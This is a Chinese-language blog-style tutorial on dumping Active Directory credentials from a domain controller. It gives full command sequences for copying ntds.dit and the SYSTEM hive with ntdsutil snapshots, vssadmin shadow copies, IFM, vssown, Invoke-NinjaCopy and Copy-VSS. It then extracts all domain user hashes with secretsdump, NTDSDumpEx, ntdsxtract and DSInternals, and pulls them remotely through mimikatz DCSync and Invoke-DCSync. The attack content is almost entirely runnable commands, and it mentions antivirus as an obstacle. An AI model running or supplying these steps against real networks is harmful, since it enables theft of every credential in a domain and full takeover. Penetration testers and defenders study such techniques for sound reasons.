赞
踩
NTDS.DIT:为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控上的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
位置:C:\Windows\NTDS
该文件和SAM文件类似,是不能直接读取的,也不能复制
因此如果要读取该文件的内容有一下几种方式:
ntdsutil.exe是一个为活动目录提供管理机制的命令行公具,该工具默认安装在域控服务器上,可以在域控制器上直接操作
1.创建一个NTDS快照
命令:ntdsutil.exe snapshot "activate instance ntds" create q q
2.加载快照到磁盘中(mount:挂载)
命令:ntdsutil.exe snapshot "mount {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" q q
3.复制快照中的ntds.dit文件
命令:copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
copy C:\$SNAP_202309231542_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
4.删除快照
命令:ntdsutil.exe snapshot "umount {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" "delete {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" q q
1.创建一个NTDS快照,我这里是Administrator权限,并没有报错(如果这里使用Administrator创建快照报错的话,可以使用令牌将权限切换到system)
命令:ntdsutil.exe snapshot "activate instance ntds" create q q
2.加载快照到磁盘中(mount:挂载)
命令:ntdsutil.exe snapshot "mount {01ff8c71-7f7f-4287-a760-9551b7db6690}" q q
3.复制快照中的ntds.dit文件
命令:copy C:\$SNAP_202309231619_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
4.删除快照
命令:ntdsutil.exe snapshot "umount {01ff8c71-7f7f-4287-a760-9551b7db6690}" "delete {01ff8c71-7f7f-4287-a760-9551b7db6690}" q q
1.创建一个C盘快照
命令:vssadmin create shadow /for=c:
2.将快照中的NTDS文件复制出来
命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
3.删除快照
命令:vssadmin delete shadows /for=c: /quiet
CS测试和上面步骤差不多
可以通过创建一个IFM的方式获取ntds.dit,在使用ntdsutil创建媒体安装集(IFM)时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作
1.创建一个C盘下的快照,首先需要去C盘下创建一个test
命令:ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时ntds.dit将被保存在C:\test\Active Directory下,SYSTEM和SECURITY两个文件将被保存在C:\test\registry文件夹下
2.将快照中的NTDS文件复制出来
命令:copy "C:\test\Active Directory\ntds.dit" C:\Users\Administrator\Desktop\ntds.dit
CS测试与上述步骤差不多
vssown是一个vbs脚本,可以创建和删除卷影副本,使用方式如下:
1.启动卷影复制服务
命令:cscript vssown.vbs /start
2.创建一个C盘下的卷影副本
命令:cscript vssown.vbs /create c
3.列出当前卷影副本
命令:cscript vssown.vbs /list
4.复制文件到指定目录
命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
CS测试与上述步骤差不多
除了使用卷影拷贝技术外,还有其他方式可以提取NTDS文件
命令:Import-Module .\Copy-VSS.ps1
Copy-VSS
Invoke-NinjaCopy也是PS脚本可以直接导出NTDS和system文件
命令:Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:system.hiv"
一般步骤:
注意:因为system.hive里存放着ntds.dit的秘钥,所以需要转储system.hive,不然没办法查看ntds.dit里面的内容
命令:reg save hklm\system C:\Users\Administrator\Desktop\system.hive
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
命令:NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt
esedbexport是linux下的工具,先要在自己的linux机器上安装建议在python2环境下运行
下载工具包:
./configure
make
make install
ldconfig
提取ntds文件内容
esedbexport -m tables ntds.dit
安装ntdsxtract工具
python setup.py build
python setup.py install
如果提示Import Error:NO module named Crypto.Hash,则需要先执行pip install pycryptodome
将ntds.dit. Export和SYSTEM文件放入到esedbexport工具的文件夹中,然后导出哈希值,最后的结果将保存在txt里
python dsusers.py datatable.4 link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl--ntoutfile ntout --lmoutfile Imout|tee 1.txt读取用户信息
python dscomputers.py datatable.4 computer_output --csvoutfile 2.csv读取机器信息
DS Internals工具是PS脚本,使用命令如下:
Install-Module DSInternals -Force
Import-Module .\DSInternals
导出hash,并保存在txt文件里
$key=Get-Bootkey -SystemHivePath 'system.hiv'
Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File 1.txt
但是需要考虑:杀软工具、如果域太大读取时间太久容易死机
命令:lsadump::dcsync /domain:abc.com /all /cvs(读取所有)
lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)
命令:QuarksPWDump.exe --dump-hash-domain --ntds-file ntds.dit
Ntds这个文件需要先导出来
命令:secretsdump.exe 域名/administrator:密码@IP
命令:Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。